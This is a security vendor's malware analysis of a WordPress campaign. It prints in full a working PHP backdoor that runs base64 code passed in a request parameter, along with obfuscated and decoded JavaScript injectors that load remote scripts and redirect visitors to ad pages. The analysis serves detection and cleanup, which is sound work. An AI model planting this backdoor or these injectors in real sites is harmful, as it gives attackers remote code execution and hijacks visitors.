WordPress Hack with wp-crawler.php to Serve Geolocation Aware Ads

Over the last few weeks we have been investigating numerous cases of the heavily exploited remote code execution (RCE) vulnerabilities in popular WordPress plugins. We found that in the majority of the attacks, hackers planted visitor dependent malware that would redirect web browser over and over again in order to, finally, serve pages with ads. In the most severe cases, the injected malware took full control over the entire site where all website pages including WordPress dashboard redirected to third-party advertising pages.

Further analysis showed that the malware campaign had redirected visitors to geo-targeting advertising sites presenting them ads in the local language.

More information on why hackers are employing the geolocation-aware techniques in malware campaigns could be found here: Top 4 Reasons Why Hackers Plant Geolocation Malware on Websites

In this post, we provide a full analysis of the redirection path going through multiple servers. We added some comments to the original code to make it more readable and easy for understanding.

As stated above, the original infection starts from RCE (remote code execution) vulnerability by injecting/dumping following shell/backdoor script in multiple places over the infected site. Sometimes this malware was found in website root directory under the name temp-crawl.php or wp-crawl.php.

<?php
    /*
     * Create file called "tempcrawl" and store there base64 encoded PHP script 
     */
    @file_put_contents('tempcrawl','<?php '.base64_decode($_REQUEST['q']));
    /*
     * Following command loads and execute content of just stored file
     */
    @include('tempcrawl'); 
    /*
     * Removed dropped malware after infection of a website
     */
    @unlink('tempcrawl');  
?>

This code itself does nothing malicious. The actual malicious code used to infect other files has been sent in $_REQUEST['q'] request argument and executed via @include statement.

In some of the handled cases wp-crawl.php used to infect multiple JavaScript and PHP files stored in the wp-content directory. Another version of infection injected malicious JavaScript code directly into *wp_posts* tables infecting every existing post.

The infection analisys

The initially injected JavaScript code loads content from hxxps://ads[.]voipnewswire[.]net/ad[.]js and appended to DOM "head" element.

Encoded version of the original infection:

    var elem = document.createElement('script');
    elem.type = 'text/javascript';
    elem.async = true;
    elem.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 97, ... 106, 115);
    var alls = document.getElementsByTagName('script');
    var nt3 = true;
    for (var i = alls.length; i--;) {
        if (alls[i].src.indexOf(String.fromCharCode(118, 111, 105, 112, 110, 101, 119, 115, 119, 105, 114, 101)) > -1) {
        nt3 = false;
        }
    }
    if (nt3 == true) {
        document.getElementsByTagName("head")[0].appendChild(elem);
    }

Decoded version:

    var elem = document.createElement('script');
    elem.type = 'text/javascript';
    elem.async = true;
    elem.src = "hxxps://ads[.]voipnewswire[.]net/ad[.]js";
    var alls = document.getElementsByTagName('script');
    var nt3 = true;
    for (var i = alls.length; i--;) {
        if (alls[i].src.indexOf("voipnewswire") > -1) {
        nt3 = false;
        }
    }
    if (nt3 == true) {
        document.getElementsByTagName("head")[0].appendChild(elem);
    }

Following is a dump of the JavaScript code that is loaded from voipnewswire[.]net:


    /* 1 - 
     * Loads and execute JavaScript code from hxxps://voipnewswire[.]innocraft[.]cloud/piwik[.]js
     */
    eval(String.fromCharCode(118, 97, 114, 32, 95, 112, ... 102, 111, 114, 101, 40, 103, 44, 115, 41, 59));
    var lrtwqxbknvbkdjjef = String.fromCharCode(118, 97, 114, 32, 99, 108, ... 117, 100, 115, 99, 114, 41, 59);
    var bstrack = "";
    /* 2 - 
     * Loads and execute JavaScript code from hxxps://glasssunshine[.]cf/glcf[.]js 
     */
    eval(lrtwqxbknvbkdjjef);

This code loads other two JavaScript files, one from hxxps://voipnewswire[.]innocraft[.]cloud/piwik[.]js and one from hxxps://glasssunshine[.]cf/glcf[.]js

We are going to analyze both of these files.

The code loaded from hxxps://voipnewswire[.]innocraft[.]cloud/piwik[.]js is a PIWIK (https://piwik.pro/) customers & visitors tracking system:


    var _paq = _paq || [];
      _paq.push(['trackPageView']);
      _paq.push(['enableLinkTracking']);
        var u="hxxps://voipnewswire[.]innocraft[.]cloud/";
        _paq.push(['setTrackerUrl', u+'piwik.php']);
        _paq.push(['setSiteId', '1']);
        var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
        g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);

The second script is the content of /* lrtwqxbknvbkdjjef */ variable which upon execution is set to following value:

Encoded content of lrtwqxbknvbkdjjef

    var cloudscr = document.createElement('script'); 
    cloudscr.type = 'text/javascript'; 
    cloudscr.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 103,...101, 46, 99, 102, 47, 103, 108, 99, 102, 46, 106, 115); 
    cloudscr.async = true; 
    document.getElementsByTagName("head")[0].appendChild(cloudscr);
Decoded content of lrtwqxbknvbkdjjef
    var cloudscr = document.createElement('script'); 
    cloudscr.type = 'text/javascript'; 
    cloudsrc.src = "hxxps://glasssunshine[.]cf/glcf[.]js"
    cloudscr.async = true; document.getElementsByTagName("head")[0].appendChild(cloudscr);

As a result of this script, content of hxxps://glasssunshine[.]cf/glcf[.]js loaded and appended to DOM "head" element.

Following is a content of hxxps://glasssunshine[.]cf/glcf[.]js:

Encoded script version:

    var glcf = ""; 
    var ptcf = String.fromCharCode(105, 102, 32, 40, 47, 40, 94, 124, 59, 41, 92, 115, 42, 115, ... 115, 117, 110, 105, 103, 108, 59, 32, 125); 
    eval(ptcf);

Decoded script version:

    if (/(^|;)\s*sunigl=/.test(document.cookie)){} 
    else{    
        document.cookie = "sunigl=1; max-age=" + 60 * 60 * 8; 
        var sunigl = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 97, ... 47, 97, 100, 46, 104, 116, 109, 108); 
        document.location.href = sunigl; window.location.href = sunigl; 
    }

Decoded value of variable sunigl

    if (/(^|;)\s*sunigl=/.test(document.cookie)) {} 
    else {    
        document.cookie = "sunigl=1; max-age=" + 60 * 60 * 8; 
        var sunigl = "hxxps://ad[.]suniglasses[.]com/ad[.]html"; 
        document.location.href = sunigl; 
        window.location.href = sunigl; 
    }

Geo-targeting advertising

The final redirection to ad.html is based on cookies timeout period which means every visitor is redirected to the ad page every 8 hours. When all loaded JavaScript files are executed, the https://ad[.]suniglasses[.]com/ad[.]html page redirects visitors to advertising content in local language.

Conclusion

The initial source of infection came from RCE vulnerability found in a few popular plugins. Even though related vendors released patches before RCE vulnerabilities information made public, we still encounter websites with outdated plugins just opening the door to take full control over their sites.

Whether you manage a small or an online e-commerce business you should be aware that outdated software due to discovered security vulnerabilities can open access to your business sensitive data which may lead to a business and reputation damage.

We are always quick to respond to protect our customers from malware infection and other cyber threats.

Our experts are here to clean up any malware from your sites, resolve false-positives, remove your website from the Google, Yahoo, and any other search engine provider or security authority blacklist.

If you believe you need a help, or your website compromised by this or similar attack, feel free to contact us via Quttera's help-desk. Our cyber security experts will be glad to assist you to bring your business back online.